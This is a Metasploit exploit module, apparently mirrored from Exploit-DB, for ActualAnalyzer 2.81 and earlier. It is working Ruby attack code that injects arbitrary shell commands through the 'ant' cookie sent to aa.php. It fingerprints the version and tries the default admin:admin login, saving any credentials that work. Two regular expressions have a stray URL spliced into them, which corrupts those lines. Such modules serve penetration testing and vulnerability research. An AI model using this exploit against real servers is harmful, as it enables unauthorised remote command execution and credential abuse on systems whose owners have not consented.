ActualAnalyzer – ‘ant’ Cookie Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2014-12-16
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/35549/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info = {})
    super(update_info(
    info,
    'Name'=> "ActualAnalyzer 'ant' Cookie Command Execution",
    'Description' => %q{
    This module exploits a command execution vulnerability in
    ActualAnalyzer version 2.81 and prior.
    
    The 'aa.php' file allows unauthenticated users to
    execute arbitrary commands in the 'ant' cookie.
    },
    'License' => MSF_LICENSE,
    'Author'=>
    [
    'Benjamin Harris', # Discovery and exploit
    'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
    ],
    'References'=>
    [
    ['EDB', '34450'],
    ['OSVDB', '110601']
    ],
    'Payload' =>
    {
    'Space' => 4096, # HTTP cookie
    'DisableNops' => true,
    'BadChars'=> "\x00"
    },
    'Arch'=> ARCH_CMD,
    'Platform'=> 'unix',
    'Targets' =>
    [
    # Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
    ['ActualAnalyzer <= 2.81', { 'auto' => true }]
    ],
    'Privileged'=> false,
    'DisclosureDate'=> 'Aug 28 2014',
    'DefaultTarget' => 0))
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
    OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),
    OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),
    OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
    ], self.class)
    end
    
    #
    # Checks if target is running ActualAnalyzer <= 2.81
    #
    def check
    # check for aa.php
    res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
    if !res
    vprint_error("#{peer} - Connection failed")
    return Exploit::CheckCode::Unknown
    elsif res.code == 404
    vprint_error("#{peer} - Could not find aa.php")
    return Exploit::CheckCode::Safe
    elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
    vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.")
    return Exploit::CheckCode::Detected
    end
    # check version
    res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
    if !res
    vprint_error("#{peer} - Connection failed")
    return Exploit::CheckCode::Unknown
    elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
    vprint_status("#{peer} - Found version: #{version}")
    if Gem::Version.new(version) <= Gem::Version.new('2.81')
    report_vuln(
    host: rhost,
    name: self.name,
    info: "Module #{fullname} detected ActualAnalyzer #{version}",
    refs: references,
    )
    return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Detected
    elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
    return Exploit::CheckCode::Detected
    end
    Exploit::CheckCode::Safe
    end
    
    #
    # Try to retrieve a valid analytics host from view.php unauthenticated
    #
    def get_analytics_host_view
    analytics_host = nil
    res = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'view.php'),
    'vars_post' => {
    'id_h' => '',
    'listp' => '',
    'act_h' => 'vis_int',
    'oldact' => 'vis_grpg',
    'tint_h' => '',
    'extact_h' => '',
    'home_pos' => '',
    'act' => 'vis_grpg',
    'tint' => 'total',
    'grpg' => '201',
    'cp_vst' => 'on',
    'cp_hst' => 'on',
    'cp_htst' => 'on',
    'cp_reps' => 'y',
    'tab_sort' => '1_1'
    }
    )
    if !res
    vprint_error("#{peer} - Connection failed")
    elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
    vprint_good("#{peer} - Found analytics host: #{analytics_host}")
    return analytics_host
    else
    vprint_status("#{peer} - Could not find any hosts on view.php")
    end
    nil
    end
    
    #
    # Try to retrieve a valid analytics host from code.php unauthenticated
    #
    def get_analytics_host_code
    analytics_host = nil
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'code.php'),
    'vars_get' => {
    'pid' => '1'
    }
    )
    if !res
    vprint_error("#{peer} - Connection failed")
    elsif res.code == 200 && /alt='ActualAnalyzer' src='https://www.exploit-db.com/exploits/35549/https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
    vprint_good("#{peer} - Found analytics host: #{analytics_host}")
    return analytics_host
    else
    vprint_status("#{peer} - Could not find any hosts on code.php")
    end
    nil
    end
    
    #
    # Try to retrieve a valid analytics host from admin.php with creds
    #
    def get_analytics_host_admin
    analytics_host = nil
    user = datastore['USERNAME']
    pass = datastore['PASSWORD']
    res = send_request_cgi(
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'admin.php'),
    'vars_post' => {
    'uname' => user,
    'passw' => pass,
    'id_h' => '',
    'listp' => '',
    'act_h' => '',
    'oldact' => 'pages',
    'tint_h' => '',
    'extact_h' => '',
    'param_h' => '',
    'param2_h' => '',
    'home_pos' => '',
    'act' => 'dynhtml',
    'set.x' => '11',
    'set.y' => '11'
    }
    )
    if !res
    vprint_error("#{peer} - Connection failed")
    elsif res.code == 200 && res.body =~ />Login</
    vprint_status("#{peer} - Login failed.")
    elsif res.code == 200 && /alt='ActualAnalyzer' src='https://www.exploit-db.com/exploits/35549/https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
    vprint_good("#{peer} - Found analytics host: #{analytics_host}")
    print_good("#{peer} - Login successful! (#{user}:#{pass})")
    service_data = {
    address: Rex::Socket.getaddress(rhost, true),
    port: rport,
    service_name: (ssl ? 'https' : 'http'),
    protocol: 'tcp',
    workspace_id: myworkspace_id
    }
    credential_data = {
    origin_type: :service,
    module_fullname: fullname,
    private_type: :password,
    private_data: pass,
    username: user
    }
    credential_data.merge!(service_data)
    credential_core = create_credential(credential_data)
    login_data = {
    core: credential_core,
    last_attempted_at: DateTime.now,
    status: Metasploit::Model::Login::Status::SUCCESSFUL
    }
    login_data.merge!(service_data)
    create_credential_login(login_data)
    return analytics_host
    else
    vprint_status("#{peer} - Could not find any hosts on admin.php")
    end
    nil
    end
    
    def execute_command(cmd, opts = { analytics_host: vhost })
    vuln_cookies = %w(anw anm)
    res = send_request_cgi(
    'uri' => normalize_uri(target_uri.path, 'aa.php'),
    'vars_get' => { 'anp' => opts[:analytics_host] },
    'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
    )
    if !res
    fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
    elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
    print_good("#{peer} - Payload sent successfully")
    return true
    elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
    vprint_status("#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")
    elsif res.code == 200 && res.body =~ /Admin area<\/title>/
    fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
    else
    fail_with(Failure::Unknown, "#{peer} - Something went wrong")
    end
    nil
    end
    
    def exploit
    return unless check == Exploit::CheckCode::Vulnerable
    analytics_hosts = []
    if datastore['ANALYZER_HOST'].blank?
    analytics_hosts << get_analytics_host_code
    analytics_hosts << get_analytics_host_view
    analytics_hosts << get_analytics_host_admin
    analytics_hosts << vhost
    analytics_hosts << '127.0.0.1'
    analytics_hosts << 'localhost'
    else
    analytics_hosts << datastore['ANALYZER_HOST']
    end
    analytics_hosts.uniq.each do |host|
    next if host.nil?
    vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
    break if execute_command(payload.encoded, analytics_host: host)
    end
    end
    end